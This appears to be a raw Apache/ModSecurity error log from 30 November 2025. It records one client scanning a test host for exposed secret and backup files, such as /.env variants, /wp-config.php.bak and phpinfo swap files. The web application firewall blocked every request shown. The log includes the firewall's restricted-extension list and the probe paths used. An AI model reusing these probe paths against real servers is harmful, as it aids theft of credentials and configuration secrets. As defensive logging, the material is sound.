[Sun Nov 30 15:25:13.987738 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/includes/.env.bak&quot;] [unique_id &quot;aSxTyUR0pJY8_qkvKEEfVQAAAAM&quot;]
[Sun Nov 30 15:25:13.987905 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /includes/.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/includes/.env.bak&quot;] [unique_id &quot;aSxTyUR0pJY8_qkvKEEfVQAAAAM&quot;]
[Sun Nov 30 15:25:13.988112 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/includes/.env.bak&quot;] [unique_id &quot;aSxTyUR0pJY8_qkvKEEfVQAAAAM&quot;]
[Sun Nov 30 15:25:13.988325 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/includes/.env.bak&quot;] [unique_id &quot;aSxTyUR0pJY8_qkvKEEfVQAAAAM&quot;]
[Sun Nov 30 15:25:14.212697 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /psnlink/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/psnlink/.env&quot;] [unique_id &quot;aSxTykR0pJY8_qkvKEEfVgAAAAM&quot;]
[Sun Nov 30 15:25:14.212923 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/psnlink/.env&quot;] [unique_id &quot;aSxTykR0pJY8_qkvKEEfVgAAAAM&quot;]
[Sun Nov 30 15:25:14.213124 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/psnlink/.env&quot;] [unique_id &quot;aSxTykR0pJY8_qkvKEEfVgAAAAM&quot;]
[Sun Nov 30 15:25:14.437278 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /cron/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cron/.env&quot;] [unique_id &quot;aSxTykR0pJY8_qkvKEEfVwAAAAM&quot;]
[Sun Nov 30 15:25:14.437518 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cron/.env&quot;] [unique_id &quot;aSxTykR0pJY8_qkvKEEfVwAAAAM&quot;]
[Sun Nov 30 15:25:14.437748 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cron/.env&quot;] [unique_id &quot;aSxTykR0pJY8_qkvKEEfVwAAAAM&quot;]
[Sun Nov 30 15:25:14.661550 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.swp&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/phpinfo.php.swp&quot;] [unique_id &quot;aSxTykR0pJY8_qkvKEEfWAAAAAM&quot;]
[Sun Nov 30 15:25:14.661911 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/phpinfo.php.swp&quot;] [unique_id &quot;aSxTykR0pJY8_qkvKEEfWAAAAAM&quot;]
[Sun Nov 30 15:25:14.662102 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/phpinfo.php.swp&quot;] [unique_id &quot;aSxTykR0pJY8_qkvKEEfWAAAAAM&quot;]
[Sun Nov 30 15:25:14.891900 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/themes/.env.old&quot;] [unique_id &quot;aSxTykR0pJY8_qkvKEEfWQAAAAM&quot;]
[Sun Nov 30 15:25:14.892069 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /themes/.env.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/themes/.env.old&quot;] [unique_id &quot;aSxTykR0pJY8_qkvKEEfWQAAAAM&quot;]
[Sun Nov 30 15:25:14.892275 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/themes/.env.old&quot;] [unique_id &quot;aSxTykR0pJY8_qkvKEEfWQAAAAM&quot;]
[Sun Nov 30 15:25:14.892469 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/themes/.env.old&quot;] [unique_id &quot;aSxTykR0pJY8_qkvKEEfWQAAAAM&quot;]
[Sun Nov 30 15:25:15.128423 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.backup&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/php_info.php.backup&quot;] [unique_id &quot;aSxTy0R0pJY8_qkvKEEfWgAAAAM&quot;]
[Sun Nov 30 15:25:15.128892 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/php_info.php.backup&quot;] [unique_id &quot;aSxTy0R0pJY8_qkvKEEfWgAAAAM&quot;]
[Sun Nov 30 15:25:15.129164 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/php_info.php.backup&quot;] [unique_id &quot;aSxTy0R0pJY8_qkvKEEfWgAAAAM&quot;]
[Sun Nov 30 15:25:15.579594 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /storage/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/.env&quot;] [unique_id &quot;aSxTy0R0pJY8_qkvKEEfXAAAAAM&quot;]
[Sun Nov 30 15:25:15.579814 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/.env&quot;] [unique_id &quot;aSxTy0R0pJY8_qkvKEEfXAAAAAM&quot;]
[Sun Nov 30 15:25:15.580022 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/.env&quot;] [unique_id &quot;aSxTy0R0pJY8_qkvKEEfXAAAAAM&quot;]
[Sun Nov 30 15:25:16.034488 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env~&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env~&quot;] [unique_id &quot;aSxTzER0pJY8_qkvKEEfXgAAAAM&quot;]
[Sun Nov 30 15:25:16.034707 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env~&quot;] [unique_id &quot;aSxTzER0pJY8_qkvKEEfXgAAAAM&quot;]
[Sun Nov 30 15:25:16.034907 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env~&quot;] [unique_id &quot;aSxTzER0pJY8_qkvKEEfXgAAAAM&quot;]
[Sun Nov 30 15:25:16.262506 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.bak&quot;] [unique_id &quot;aSxTzER0pJY8_qkvKEEfXwAAAAM&quot;]
[Sun Nov 30 15:25:16.262677 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Warning. Matched phrase &quot;wp-config.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.bak&quot;] [unique_id &quot;aSxTzER0pJY8_qkvKEEfXwAAAAM&quot;]
[Sun Nov 30 15:25:16.262910 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.bak&quot;] [unique_id &quot;aSxTzER0pJY8_qkvKEEfXwAAAAM&quot;]
